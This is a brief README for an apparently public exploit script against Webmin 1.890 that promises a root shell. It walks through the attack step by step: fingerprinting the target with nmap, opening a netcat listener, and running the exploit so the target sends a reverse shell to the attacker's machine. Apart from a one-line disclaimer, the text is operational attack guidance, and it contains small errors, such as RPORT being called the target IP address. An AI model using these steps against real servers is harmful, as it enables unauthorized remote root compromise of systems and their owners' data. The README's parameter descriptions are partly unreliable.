This python script should give you a root shell on Webmin 1.890
Check with nmap:
nmap -sC -sV -p 10000 TARGET_IP
Result:
10000/tcp open http MiniServ 1.890 (Webmin httpd)
How to use this exploit:
Step 1:
nc -lnvp LPORT
Step 2:
chmod +x exploit.py
./exploit RHOST RPORT LHOST LPORT
RHOST = the target
RPORT = the target IP address (Usually 10000)
LHOST = your kali box
LPORT = your reverse shell port
Step 3: Get a root shell!
DO NOT HARM UNAUTHORIZED SYSTEMS!!!